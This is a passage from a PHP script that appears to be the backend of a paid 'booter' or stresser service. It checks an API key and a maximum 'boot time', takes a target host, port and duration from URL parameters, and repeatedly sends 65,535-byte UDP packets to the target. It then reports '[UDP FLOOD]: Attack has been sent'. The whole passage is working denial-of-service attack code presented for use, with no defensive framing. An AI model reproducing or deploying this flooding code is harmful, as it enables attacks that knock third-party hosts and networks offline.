Example usage: ?api=tero&host=127.0.0.1&port=80&time=10";
} else {
if ($port == null) {
echo "Invalid Format: Enter a port.
Example usage: ?api=tero&host=127.0.0.1&port=80&time=10";
} else {
if ($time == null) {
echo "Invalid Format: Enter boot time.
Example usage: ?api=tero&host=127.0.0.1&port=80&time=10";
} else {
if ($execTM >= $maxBT) {
echo 'Your max boot time is ' . $maxBTS . '';
} else {
for ($i = 0; $i < 65535; $i++) {
$out .= "X";
}
while (1) {
$packets++;
if (time() > $maxTM) {
break;
}
# [+] Here is the action
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
echo '[UDP FLOOD]: Attack has been sent to ' . $host . ' for ' . $execTM . ' second(s).';
}
}
}
}
} else {
echo 'Invalid API Key';
}
?>